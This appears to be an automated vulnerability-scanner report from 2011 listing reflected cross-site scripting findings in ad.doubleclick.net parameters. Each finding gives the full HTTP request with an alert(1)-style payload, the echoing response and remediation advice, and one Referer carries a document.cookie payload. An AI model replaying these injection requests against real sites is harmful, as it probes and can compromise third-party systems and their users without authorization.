Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:51 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32895
The value of the redirectURL request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 701f0'-alert(1)-'25f1d4f461c was submitted in the redirectURL parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910&pub=214827&partnerID=9&redirectURL=701f0'-alert(1)-'25f1d4f461c HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 32895 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 22:11:34 GMT Expires: Wed, 26 Jan 2011 22:11:34 GMT
The value of the redirectURL request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54ace"-alert(1)-"20d1b209775 was submitted in the redirectURL parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387&campID=62521&crID=77387&pubICode=1662910&pub=214827&partnerID=9&redirectURL=54ace"-alert(1)-"20d1b209775 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 32895 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 22:11:33 GMT Expires: Wed, 26 Jan 2011 22:11:33 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 47929'-alert(1)-'5d6bf5d67a8 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-7738747929'-alert(1)-'5d6bf5d67a8&campID=62521&crID=77387&pubICode=1662910&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32875
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a39e4"-alert(1)-"ec90bbfd455 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3941.InviteMedia/B5108558.28;sz=728x90;pc=[TPAS_ID];click=http://t.invitemedia.com/track_click?auctionID=1296072640737575-77387a39e4"-alert(1)-"ec90bbfd455&campID=62521&crID=77387&pubICode=1662910&pub=214827&partnerID=9&redirectURL=;ord=1296072640? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?IgEAACdBCwCNYncAAAAAANmrHgAAAAAAAgEAAAYAAAAAAP8AAAAED.PREwAAAAAAvl8ZAAAAAAAMbygAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACoyAUAAAAAAAIAAwAAAAAAzczMzMzM4D97FK5H4XroP6uqqqqqqvI.MzMzMzMz-z-rqqqqqqryPzMzMzMzM.s.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxpwKOP2SJCZpOrrN025bxvPkP2t74C1JjRftsAAAAAA==,,http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1,Z%3D728x90%26s%3D737575%26r%3D1%26_salt%3D649361732%26u%3Dhttp%253A%252F%252Fwww.stltoday.com%252Fsports%252Ffootball%252Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%253F4974b%252522-alert%2528document.cookie%2529-%252522ac67fb5a5e7%253D1,5835a070-2988-11e0-beee-001b247839c4 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:09:56 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 32875
The value of the a request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14ed1"-alert(1)-"95fd13e7258 was submitted in the a parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=114ed1"-alert(1)-"95fd13e7258&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03?&ST=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://amch.questionmarket.com/in_banner/853829/?delay=15000&site=8&from_aicode=40015506&from_url=http%3A%2F%2Fad.doubleclick.net%2Fadi%2FN5371.ABC%2FB5114539.4%3Bsz%3D300x250%3Bclick%3Dhttp%3A%2F%2Flog.go.com%2Flog%3Fsrvc%253dabc%2526guid%253d8620FBDB-CA92-45A3-AB6D-D77A4C489742%2526drop%253d0%2526addata%253d1625%3A55542%3A759837%3A52320%2526a%253d1%2526goto%253d%3Bpc%3Ddig759837dc885481%3Bord%3D2011.01.26.09.14.03%3F Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:39 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5416
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... 00/250%3B40015506/40033293/1%3B%3B%7Eokv%3D%3Bpc%3Ddig759837dc885481%3B%3B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=114ed1"-alert(1)-"95fd13e7258&goto=http%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "always";
var openWindow = "false"; var winW = 600; v ...[SNIP]...
The value of the addata request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 624d6"-alert(1)-"c39b9f97567 was submitted in the addata parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320624d6"-alert(1)-"c39b9f97567&a=1&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03?&ST=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://amch.questionmarket.com/in_banner/853829/?delay=15000&site=8&from_aicode=40015506&from_url=http%3A%2F%2Fad.doubleclick.net%2Fadi%2FN5371.ABC%2FB5114539.4%3Bsz%3D300x250%3Bclick%3Dhttp%3A%2F%2Flog.go.com%2Flog%3Fsrvc%253dabc%2526guid%253d8620FBDB-CA92-45A3-AB6D-D77A4C489742%2526drop%253d0%2526addata%253d1625%3A55542%3A759837%3A52320%2526a%253d1%2526goto%253d%3Bpc%3Ddig759837dc885481%3Bord%3D2011.01.26.09.14.03%3F Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:26 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5416
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... 07-300/250%3B40015506/40033293/1%3B%3B%7Eokv%3D%3Bpc%3Ddig759837dc885481%3B%3B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320624d6"-alert(1)-"c39b9f97567&a=1&goto=http%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "always";
var openWindow = "false"; var winW = 60 ...[SNIP]...
The value of the drop request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3b7c4"-alert(1)-"99edd471f4d was submitted in the drop parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=03b7c4"-alert(1)-"99edd471f4d&addata=1625:55542:759837:52320&a=1&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03?&ST=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://amch.questionmarket.com/in_banner/853829/?delay=15000&site=8&from_aicode=40015506&from_url=http%3A%2F%2Fad.doubleclick.net%2Fadi%2FN5371.ABC%2FB5114539.4%3Bsz%3D300x250%3Bclick%3Dhttp%3A%2F%2Flog.go.com%2Flog%3Fsrvc%253dabc%2526guid%253d8620FBDB-CA92-45A3-AB6D-D77A4C489742%2526drop%253d0%2526addata%253d1625%3A55542%3A759837%3A52320%2526a%253d1%2526goto%253d%3Bpc%3Ddig759837dc885481%3Bord%3D2011.01.26.09.14.03%3F Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:10:13 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5416
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... 66202%3B0-0%3B0%3B58134943%3B4307-300/250%3B40015506/40033293/1%3B%3B%7Eokv%3D%3Bpc%3Ddig759837dc885481%3B%3B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=03b7c4"-alert(1)-"99edd471f4d&addata=1625:55542:759837:52320&a=1&goto=http%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "always";
The value of the goto request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 101d2"-alert(1)-"382a45c4827 was submitted in the goto parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=101d2"-alert(1)-"382a45c4827&ST=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://amch.questionmarket.com/in_banner/853829/?delay=15000&site=8&from_aicode=40015506&from_url=http%3A%2F%2Fad.doubleclick.net%2Fadi%2FN5371.ABC%2FB5114539.4%3Bsz%3D300x250%3Bclick%3Dhttp%3A%2F%2Flog.go.com%2Flog%3Fsrvc%253dabc%2526guid%253d8620FBDB-CA92-45A3-AB6D-D77A4C489742%2526drop%253d0%2526addata%253d1625%3A55542%3A759837%3A52320%2526a%253d1%2526goto%253d%3Bpc%3Ddig759837dc885481%3Bord%3D2011.01.26.09.14.03%3F Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 5296 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 22:10:44 GMT Expires: Wed, 26 Jan 2011 22:10:44 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... 6202%3B0-0%3B0%3B58134943%3B4307-300/250%3B40015506/40033293/1%3B%3B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=101d2"-alert(1)-"382a45c4827&ST=1http://www.facebook.com/Tropicana?v=app_134465043278855"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "always";
var openWindow = "false"; var winW = 600; var winH = 4 ...[SNIP]...
The value of the guid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload edf8a"-alert(1)-"ac4bf7df7b was submitted in the guid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742edf8a"-alert(1)-"ac4bf7df7b&drop=0&addata=1625:55542:759837:52320&a=1&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03?&ST=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://amch.questionmarket.com/in_banner/853829/?delay=15000&site=8&from_aicode=40015506&from_url=http%3A%2F%2Fad.doubleclick.net%2Fadi%2FN5371.ABC%2FB5114539.4%3Bsz%3D300x250%3Bclick%3Dhttp%3A%2F%2Flog.go.com%2Flog%3Fsrvc%253dabc%2526guid%253d8620FBDB-CA92-45A3-AB6D-D77A4C489742%2526drop%253d0%2526addata%253d1625%3A55542%3A759837%3A52320%2526a%253d1%2526goto%253d%3Bpc%3Ddig759837dc885481%3Bord%3D2011.01.26.09.14.03%3F Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:09:59 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5412
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... %3B234366202%3B0-0%3B0%3B58134943%3B4307-300/250%3B40015506/40033293/1%3B%3B%7Eokv%3D%3Bpc%3Ddig759837dc885481%3B%3B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742edf8a"-alert(1)-"ac4bf7df7b&drop=0&addata=1625:55542:759837:52320&a=1&goto=http%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "always";
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98549"-alert(1)-"f2bce21502b was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc98549"-alert(1)-"f2bce21502b&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03?&ST=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://amch.questionmarket.com/in_banner/853829/?delay=15000&site=8&from_aicode=40015506&from_url=http%3A%2F%2Fad.doubleclick.net%2Fadi%2FN5371.ABC%2FB5114539.4%3Bsz%3D300x250%3Bclick%3Dhttp%3A%2F%2Flog.go.com%2Flog%3Fsrvc%253dabc%2526guid%253d8620FBDB-CA92-45A3-AB6D-D77A4C489742%2526drop%253d0%2526addata%253d1625%3A55542%3A759837%3A52320%2526a%253d1%2526goto%253d%3Bpc%3Ddig759837dc885481%3Bord%3D2011.01.26.09.14.03%3F Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 22:09:46 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 5416
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... leclick.net/click%3Bh%3Dv8/3a9b/f/94/%2a/v%3B234366202%3B0-0%3B0%3B58134943%3B4307-300/250%3B40015506/40033293/1%3B%3B%7Eokv%3D%3Bpc%3Ddig759837dc885481%3B%3B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc98549"-alert(1)-"f2bce21502b&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=http%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855"); var wmode = "opaque"; var bg = "same as SW ...[SNIP]...
The value of the c request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9c75a'-alert(1)-'249696845f7 was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=09c75a'-alert(1)-'249696845f7&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:53 GMT Expires: Wed, 26 Jan 2011 23:29:53 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... et/click%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=09c75a'-alert(1)-'249696845f7&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040\"> ...[SNIP]...
